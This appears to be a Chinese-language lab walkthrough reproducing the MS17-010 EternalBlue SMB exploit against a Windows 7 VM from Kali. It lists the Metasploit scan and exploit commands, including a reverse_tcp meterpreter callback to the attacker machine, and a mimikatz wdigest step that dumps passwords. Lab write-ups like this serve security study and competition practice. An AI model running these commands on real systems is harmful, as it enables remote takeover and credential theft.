MS17_010永恒之蓝漏洞复现

文章目录

漏洞原理

• 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞，该漏洞导致攻击者在目标系统上可以执行任意代码。

实验环境

Windows7 SP1
Kali Linux最新版
Vmware 15
(靶机IP：195.168.145.129)
(攻击机IP：192.168.145.130)
PS：具体怎么安装百度有教程请自行搜索一下qaq~

信息收集

用MeteSploit中的永恒之蓝扫描模块，进行扫描查询漏洞是否存在
打开一个新的终端输入

msfconsole

然后等待MeteSploit启动完成

Search MS17_010

在这里我们输入

use auxiliary/scanner/smb/smb_ms17_010

然后设置RHOST（目标IP）

set RHOST 192.168.145.129

（辅助模块）auxiliary 的运行命令为run
（漏洞模块）exploit的运行命令为exploit

发现靶机存在漏洞接下来使用漏洞模块进行渗透测试

use exploit/windows/smb/ms17_010_eternalblue

这个模块需要设置的一些参数，具体看操作

set payload windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.145.129
set LHOST 192.168.145.130
set LPORT 5201

要选用其他payload可以使用show payloads查看适合要攻击的目标主机的payload
端口随意只要不被占用就好
设置完成之后exploit执行模块

如果不设置payload会变成这样

直接进入操作系统而没有meterpreter操作界面

试试使用meterpreter来进行一些操作

获取个用户密码试试?竞赛里有时候不给密码你必须用漏洞进入系统弱口令爆破就算了你爆破完竞赛时间也到了

load mimikatz
wdigest

然后密码就出来就可以进行骚操作了

第一次没有设置密码我跑去设置了一下
还有一些骚操作请自行去玩耍，如有什么错误请联系博主进行修正

有些内容来自转载如果侵权请联系删除

具体实验环境下载地址：
链接：https://pan.baidu.com/s/1BBbPo5YPpiWe2y47OyA-tA
提取码：zr2w